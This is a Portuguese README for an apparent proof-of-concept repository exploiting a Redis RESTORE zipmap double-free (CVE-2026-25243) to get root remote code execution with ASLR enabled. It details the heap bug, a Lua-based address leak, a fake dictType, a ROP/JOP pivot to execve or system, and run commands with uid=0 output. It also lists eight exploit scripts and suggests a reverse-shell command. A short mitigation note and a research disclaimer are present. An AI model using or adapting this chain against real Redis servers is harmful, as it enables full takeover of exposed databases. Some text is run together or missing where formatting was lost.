
CVE-2026-25243 — double-free no Redis RESTORE zipmap → execução remota de código (ASLR ativado).
RESTORE zipmap double-free → execução remota de códigoTL;DR. Um payload
DUMPmalformado passado paraRESTOREdispara um double-free no heap no loader legado de hash-zipmap do Redis. Com o jemalloc padrão, o double-free é silencioso (o servidor continua em execução), o que o transforma em uma primitiva controlável de type confusion. Este repositório encadeia isso em execução remota de código com ASLR ativado — o worker do Redis chamasystem("<string do atacante>")e continua servindo. Não é um DoS.
# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000 (NO libc)
[*] fake dictType F=0x7f352e013c36 g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),... # <- execve("/bin/sh","-c",<cmd>) as the redis process
O leak que derrota o ASLR não usa DEBUG — ele lê o endereço do C-closure Lua redis.call
(EVAL 'return tostring(redis.call)'), a mesma técnica autocontida e livre de DEBUG do nosso exploit
anterior do Redis. blob_base/blob_robj e a base do PIE são então derivados em tempo de execução da
over-read (sem offset fixo). O final PIE-ROP chama execve@plt por meio de um stack-pivot JOP, portanto usa
zero endereços de libc — as únicas constantes específicas de build são offsets de gadgets relativos ao PIE lidos do
binário redis-server, exatamente como a tabela de gadgets por build do nosso exploit HLL anterior. Verificado uid=0(root),
ASLR ativado, 8/8, em um servidor padrão com DEBUG desabilitado.
Duas variantes de finalização são fornecidas.
poc_rce_aslr_pie_rop.py(acima) é a mais autocontida — sem libc, totalmente autocalibrada — masexecvesubstitui o worker (use um--cmdde reverse shell; o melhor para um shell real).poc_rce_aslr_selfcal.pymantém o worker vivo (system()faz fork) ao custo de dois offsets de versão da libc. Escolha conforme você precise que o servidor sobreviva.
RESTORE key 0 <DUMP-payload> desserializa um objeto serializado. Para o tipo legado RDB_TYPE_HASH_ZIPMAP
(0x09), o validador e o conversor discordam sobre quantos bytes um campo de comprimento ocupa:
zipmapValidateIntegrity() percorre com o tamanho codificado real (5 para o prefixo superlongo 0xFE);zipmapNext() durante a conversão zipmap → listpack usa 1 byte para qualquer comprimento decodificado < 254.Um comprimento pequeno escrito no formato superlongo de 5 bytes passa na validação, mas faz zipmapNext()
avançar incorretamente 4 bytes. Duas consequências decorrem do mesmo erro de avanço: um over-read no heap
(zipmap.c) e, apenas no Redis, um double-free no heap no loader de hash-zipmap em rdb.c:
sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
dictRelease(dupSearchDict); // (1) dictAdd took ownership of `field` -> freed here
sdsfree(field); // (2) freed AGAIN -> double-free
O Valkey protege isso (if (!field_added) sdsfree(field)); o Redis upstream não protege, então o double-free é
exclusivo do Redis. A correção rejeita o comprimento curto codificado de forma superlonga e reordena as verificações em tempo de carregamento.
silent double-free -> type-confusion overlap -> arbitrary pointer-forge
-> forge a hashtable hash's dict->type to a fake dictType
-> HGET hd "<field>" == dictFind -> type->hashFunction(field)
libc path (selfcal): hashFunction = &system -> system("<cmd>") (worker survives)
PIE path (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
-> leave;ret pivots rsp onto the field
-> execve("/bin/sh","-c","<cmd>") via execve@plt (no libc, no DEBUG)
O dictType falso é plantado dentro de uma string de 16 MB (SETRANGE) no único offset cujos bytes baixos
do endereço correspondem ao cabeçalho sds da string do atacante. O ASLR é derrotado inteiramente em tempo de execução:
system — um único leak de ponteiro do heap. O caminho recomendado é sem DEBUG: o endereço do
C-closure Lua redis.call (EVAL 'return tostring(redis.call)') — o mesmo leak autocontido
que nosso exploit anterior do Redis usa. Os arenas do jemalloc ficam a um offset constante da libc, então
system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT é apenas uma conveniência de laboratório quando o script
está desabilitado, mas DEBUG está habilitado — a configuração mais rara.)SET para que seu membro seja um sds SDS_TYPE_32 de 107 KB, SMEMBERS faz over-read
do heap adjacente, e o robj.ptr do blob é lido em seu offset conhecido.Consulte WRITEUP.md para a análise completa primitivo por primitivo e os detalhes
jemalloc / Redis-8.x conquistados com dificuldade (limite da classe 64, marcação de entradas do dict, hash-field mstr, pré-crescimento do keyspace).
docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243
# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2 # ASLR ON
redis-server & # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
DEBUG)O leak de ponteiro do heap de bootstrap segue a mesma abordagem do nosso exploit anterior do Redis: vaza o
endereço do C-closure Lua redis.call com EVAL 'return tostring(redis.call)'. A scriptação Lua está ativada por
padrão; DEBUG está desativado por padrão (enable-debug-command no) — portanto o leak via Lua é a opção
principal realista, e DEBUG OBJECT (poc_rce_aslr.py) é apenas uma conveniência de laboratório. poc_rce_aslr_selfcal.py então
deriva blob_base e blob_robj em tempo de execução do over-read (varredura pela assinatura do robj do blob de 16 MB),
então DLUA/DFOBJ só precisam estar próximos.
Para a finalização com system, o over-read do heap pequeno não contém ponteiros de libc, então a libc não pode ser
autoderivada — poc_rce_aslr_selfcal.py mantém dois offsets de versão da libc (DLIBC, SYSTEM_OFF). A
finalização poc_rce_aslr_pie_rop.py remove essa dependência por completo: o mesmo over-read de fato carrega
ponteiros do PIE (um dictType compartilhado aparece repetidamente), então a base do PIE é autocalibrada como
most-common-PIE-value − DICTTYPE_OFF, e a cadeia termina em execve@plt por meio de um stack-pivot JOP
(mov rbp,rdi; call *0x8(rax) → leave;ret pivota rsp para o campo HGET controlado pelo atacante, que
é a cadeia ROP execve("/bin/sh","-c",<cmd>)). As únicas constantes específicas do build são os offsets de
gadgets relativos ao PIE lidos do — extraia-os por alvo com /, exatamente como
nosso exploit HLL anterior indexa uma tabela de gadgets por ELF Build-ID. Nenhum endereço de libc é usado.
screenshots/05-pie-rop-libc-free.png (a autocalibração NO libc + uid=0, a execução mais autocontida),
01-rce-aslr-on.png (a captura principal do uid=0), 02-reliability.png (5/5), 03-exploit-chain.png (o código),
e 04-debug-free-selfcal.png (a execução system sem DEBUG e autocalibrada em um Redis padrão).
RESTORE é um comando comum — em um Redis não autenticado/exposto
(sem requirepass), qualquer cliente conectado pode executá-lo; em uma instância autenticada, qualquer usuário sem uma
negação de ACL -restore. Mesmo perfil de acesso que os comandos de estrutura de dados usados por outros RCEs do Redis.< {6.2.22, 7.2.14, 7.4.9, 8.2.6, 8.4.3, 8.6.3} — ou seja, 6.2.x até o 8.x atual;
o Valkey é apenas DoS/over-read (sua proteção field_added bloqueia o double-free).Atualize para uma versão corrigida. Se não for possível: restrinja o RESTORE (ACL … -restore), nunca exponha o Redis
sem autenticação e desabilite o DEBUG.
Pesquisa de segurança autorizada, publicada para conscientização de defensores. Não execute contra sistemas que você não possui ou para os quais não tenha permissão explícita para testar.
| arquivo | o que demonstra |
|---|
★ exploits/poc_rce_aslr_pie_rop.py | mais autocontido — RCE em um Redis DEFAULT (DEBUG desativado), SEM offsets de libc; autocalibra blob_base/blob_robj/pie_base; execve@plt via pivô JOP (o worker é substituído). 8/8. |
★ exploits/poc_rce_aslr_selfcal.py | mantém o worker vivo — mesma cadeia, mas hashFunction=&system (faz fork); custa dois offsets de versão da libc (DLIBC/SYSTEM_OFF). Leak do C-closure Lua, autocalibrando blob_base/blob_robj. |
exploits/poc_rce_aslr_nodebug.py | sem DEBUG (leak via Lua), mas com offsets fixos (calibrados com DEBUG ativado) |
exploits/poc_rce_aslr.py | variante de conveniência de laboratório: leak de bootstrap via DEBUG OBJECT (exige DEBUG habilitado) |
exploits/poc_rce_aslr_off.py | RCE com ASLR desativado (endereços calibrados) |
exploits/poc_typeconfusion.py | double-free → duas chaves compartilham um buffer do heap (sem ferramentas) |
exploits/poc_doublefree.py | o double-free (ASan: heap-use-after-free em sdsfree) |
exploits/poc_dos_overread.py | o crash por over-read (ASan) |
redis-serverROPgadgetobjdump